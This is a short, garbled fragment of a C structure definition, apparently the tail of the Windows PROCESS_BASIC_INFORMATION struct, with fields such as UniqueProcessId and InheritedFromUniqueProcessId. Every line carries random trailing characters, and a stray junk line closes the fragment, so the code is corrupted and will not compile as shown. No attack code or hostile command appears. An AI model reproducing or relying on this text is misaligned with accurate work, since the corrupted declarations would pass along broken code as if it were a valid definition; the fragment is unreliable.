DWORD AffinityMask; M R'o{?{e`
DWORD BasePriority; n&-496H
ULONG UniqueProcessId; *~z#.63oZ
ULONG InheritedFromUniqueProcessId; >qn/<??
} PROCESS_BASIC_INFORMATION; 7ODaX.t->
-DO&